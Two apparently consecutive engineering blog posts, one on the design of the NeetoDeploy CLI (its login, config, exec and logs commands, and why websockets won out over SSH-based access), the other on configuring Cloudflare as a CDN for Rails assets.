We started building the CLI as a Ruby gem using Thor.Installing the gem and using it would be as simple as runninggem install neetodeploy. We wanted the users to be authenticated via Neeto'sauthentication system before they could do anything else with the CLI. For this,we added a neetodeploy login command, which would create a session andredirect you to the browser where you can log in. The CLI would be polling thesession login status, and once you have logged in, it would store the sessiontoken and your email address inside the ~/.config/neetodeploy directory. Thiswill be used to authenticate your request when you run everything else.

The basic CLI functionality

The v1 release of the NeetoDeploy CLI shipped the following commands:

• config : For listing, creating, and deleting environment variables for yourapps.
• exec : For getting access to a shell running inside your deployed app.
• logs : For streaming the application logs right to your terminal.

Let's look at each of them in detail.

Setting environment vars

Building the config command was the most straightforward of the three. Thecentral source or truth for all the environment variables of the apps is storedin the web dashboard of NeetoDeploy. There are APIs already in place for doingCRUD operations on these from the dashboard app. This could be expanded for theuse of the CLI as well.

We first added API endpoints in the dashboard app, under a CLI namespace, tolist, create, and delete config variables. We then added different commands inthe CLI to send HTTP requests to the respective endpoints in the dashboard app.

You can pass the app name as an argument, and the CLI will send a request to thedashboard app along with the session token generated when you logged in. At thebackend, this session token would be used to check if you have access to the appyou're requesting, before doing anything else.

If you have used Heroku CLI, then you would be very comfortable sinceNeetoDeploy CLI follows the same style.

Architecting the neetodeploy exec command

The exec command is used to get access to a shell inside your deployed app.The NeetoDeploy web dashboard already has a functioning console feature withwhich you can get access to the shell inside your applications dynos. This wasbuilt using websockets. We would deploy a "console" pod with the same image andenvironment variables as the app, to which we'll connect with websockets. Wehave a dyno-console-manager app which spawns a new process inside the consoledyno and handles the websocket connections, etc. When we started building theexec feature for the CLI however, we explored a few options and learnt a lot ofthings before finally settling back on the websockets approach.

Weve been using the kubectl exec command on a daily basis to get access toshells inside pods running in the cluster. Since kubectl exec is cosmeticallysimilar to how we use SSH to access remote machines, the first approach we tookinvolved using SSH to expose containers outside the cluster.

We can expose our deployment outside the cluster using SSH in two ways. Thefirst approach would be running an SSH server as asidecar containerwithin the console pod. The second approach would be to bundlesshd within the image forthe console pod using a custom buildpack. With either of these two methods, youwould be able to SSH into your console deployment if you have the correct SSHkeys. We ran sshd inside a pod using acustom sshd buildpack. We thenconfigured the SSH public key inside the pod manually with kubectl exec. Withthis, we were able to SSH into the pod after port forwarding the sshd processsport to localhost using kubectl port-forward.

Great! Now that the SSH connection works, the part of the puzzle that remainednow was how we would actually expose the deployment outside the cluster inproduction. We tried doing this in a couple of different ways.

1. LoadBalancer

We were able to SSH into the pod after exposing it as aLoadBalancerservice. This was out of the question for production however, since AWS has ahard limit on the number of application load balancers (ALB) we can create perregion. Wed also have to pay for each load balancer we create. This approachwouldnt scale at all.

2. NodePort

The next option was to expose the pod as a NodePort service. A NodePortservice in Kubernetes means that the pod would be exposed through a certain portnumber through every node in the cluster. We could SSH into the pod with theexternal IP of any of the nodes. We tried exposing the test console pod wecreated with a NodePort service as well. We were able to SSH into the pod fromoutside the cluster without having to do the port forward. There was onelimitation for using NodePorts that we knew would render this method suboptimalfor building a Platform as a Service. The range of ports that can be allocatedfor NodePort services is from 30000 to 32768 by default. This means that wedonly be able to run 2768 instances of neetodeploy exec at any given time inour current cluster setup in EKS.

3. Bastion host, the SSH proxy server

We thought of deploying an SSH proxy server to circumvent the hard limits on theLoadBalancer and NodePort approaches. Such proxy servers are usually calledbastion hosts or jump servers. These are servers that are designed to provideaccess to a private network from a public network. The name "bastion" comes fromthe military structure that projects outwards from a castle or a fort. In asimilar sense, our bastion host will be a Kubernetes deployment that is exposedto the public network and acts as an interface between our private cluster andthe public internet. For our requirement, we can proxy SSH connections toconsole pods through this bastion host deployment. We only needed to expose thebastion host as a single LoadBalancer or a NodePort service, to which the CLIcan connect. This would solve the issue of having a hard limit on the number ofLoadBalancer or NodePort services we can create.

We quickly set up a bastion host and tested the whole idea. It was workingseamlessly! However, there were a lot of edge cases we'd have to handle if weare going to release this to the public. Ideally, we would want a new pair ofSSH keys for each console pod. We could generate this and store it as secrets inthe cluster. Apart from the hassle of handling all the SSH keys and updating thebastion host each time, we would have to make sure that users will not be ableto get SSH access to the bastion host deployment manually, outside the CLI. Thiswas difficult since the CLI would need access to the private key in order toconnect to the bastion host anyway. This would mean that users could SSH intothe bastion host after digging through the CLI gem's source, and possibly evenexec into any deployment in the cluster if they knew what they were looking for.Users with malicious intent could possibly bring down the bastion host itselfonce they're inside, rendering the exec command unusable.

We thought about installing kubectl inside the bastion host with a restrictiveRBAC so that wecan run kubectl exec from inside the bastion host, also while making sure thatusers could not run anything destructive from inside the bastion host. But thisjust adds more moving parts to the system. The SSH proxy approach makes sense ifyou have to expose your cluster among developers for internal use, but it is notideal when you are building a CLI for public use.

After figuring out how not to solve the problem, we came to the conclusionthat using websockets was the better approach for now. We already have thedyno-console-manager app, which we are using for the shell access from the webdashboard, we updated the same to handle connections from the CLI. From theCLI's end, we wrote a simple WebSocket client and handled the parsing of userinputs and printing the responses from the shell. All of the commands you enterwould be run on the console pod through the websocket connection.

Streaming logs to the terminal

Live logs were streamed to the web dashboard using websockets too. This was alsohandled by the above-mentioned dyno-console-manager. Since we had written a Rubywebsocket client for the exec command, we decided to use the same approachwith logs too.

The CLI would send a request to the dyno-console-manager with the apps name andthe dyno-console-manager would run kubectl logs for your app's deployment andstream it back to the CLI via a websocket connection it creates.

We took our time with architecting the NeetoDeploy CLI, but thanks to that welearnt a lot about designing robust systems that would scale in the long term.

If your application runs on Heroku, you can deploy it on NeetoDeploy without anychange. If you want to give NeetoDeploy a try, then please send us an email atinvite@neeto.com.

If you have questions about NeetoDeploy or want to see the journey, followNeetoDeploy on X. You can also join ourcommunity Slack to chat with us about anyNeeto product.

A CDN is a geographically distributed group of servers that cache content closeto end users. Let's say that a user from London is hitting a website that has aJavaScript file hosted in Chicago. That JavaScript file has to travel all theway from Chicago to London. This means the site will load slowly.

A CDN will have a copy of that JavaScript file in London itself. In this way,for that user, that JavaScript file will be loaded from the London server andnot from the Chicago server. This is what a CDN primarily does.

Here's how we set up Cloudflare as a CDN for our Rails applications.

1. Configure CNAME record for CDN subdomain in Cloudflare

We need a subdomain that will act as a CDN. ForNeetoCal, we use https://cdn.neetocal.com asthe subdomain. You can use any subdomain you want.

To set up this subdomain, follow these steps.

1. Add a new record with the type CNAME.
2. In the name field, enter *.
3. In the target field, enter the URL where the Rails app is deployed.

If we already have a CNAME record for * that handles all the subdomains,then we don't need to create a new one.

2. Turn on the Proxy feature in Cloudflare

In the previous step, when creating a new CNAME record, by default, Cloudflarewill enable proxy for each record.

Once the Proxy status column is turned on, it will display 'Proxied' asshown below.

When we turn on "Proxy", then the DNS queries will resolve to the Cloudflare IPaddress instead of the target. It means Cloudflare will get all the requests andthen Cloudflare in turn will forward those requests to the target.

Let's say that a user from Paris loads a webpage which is hosted in Chicago andCloudflare has a server in Paris. When "Proxy" is turned on, then when the usermakes the first request to the server, that request will go to Cloudflare.Cloudflare doesn't have the JavaScript file, so Cloudflare will forward thatrequest to the server. The server will send that JavaScript file to Cloudflare.Cloudflare will cache this JavaScript file and serve the JavaScript file to theuser.

Two seconds later, another user from a different part of Paris hits the samewebpage. This time, Cloudflare has a cached copy of the JavaScript file andCloudflare will serve the JavaScript from its server in Paris.

This has two benefits. The first benefit is that the user gets to see thewebpage really fast. The second benefit is that the server cost is a lot lowersince fewer requests need to be served by the server in Chicago.

What all things Cloudflare can cache

Cloudflare can only cache files that are stored on the domain that is proxiedthrough Cloudflare. If we have an image file that is stored on Amazon S3 and isaccessed via a direct S3 URL, then Cloudflare won't be able to cache it.

Cloudflare caches are based on file extensions, not MIME types.Hereis the list of file extensions that will be cached by default. HTML is not onthis list.

Cloudflare allows us to cache other file types by setting up suitablepage rules.

3. Set appropriate Cache-Control headers in Rails

When utilizing Cloudflare as a CDN, it's crucial to configure our Rails app toserve assets with specific Cache-Control headers. This ensures optimal cachingbehavior for resources.

The Rails app should serve assets with a header similar to the one given below.

cache-control: public, max-age=31536000

The cache-control must be public, and max-age must be a positive value forCloudflare tocache the resource.

For this, we need to modify the Rails configuration fileconfig/environments/production.rb.

config.public_file_server.headers = {  'Cache-Control' => 'public, max-age=31536000'}

Here, Cache-Control is set to 'public', allowing any cache (includingCloudflare) to store the resource. The max-age is specified as 31,536,000seconds (one year), indicating how long the cache should retain the objectbefore considering it stale.

4. Configure asset_host in Rails.

We added the secrets for the asset_host in our Rails application'sconfig/secrets.yml file.

production:  asset_host: <%= ENV["ASSET_HOST"] %>

We also added an environment variable called ASSET_HOST that contains our newCDN host URL.

ASSET_HOST=cdn.neetoX.com

Once this is done all asset URLs will point to https://cdn.neetoX.com.

5. Verify changes

Once all the setup is done, it can take a few hours for the changes to bereflected. Hit the page and see the response header of .js file.

If the response header cf-cache-status had a value of HIT, then that meansCloudflare is serving that asset from its cache.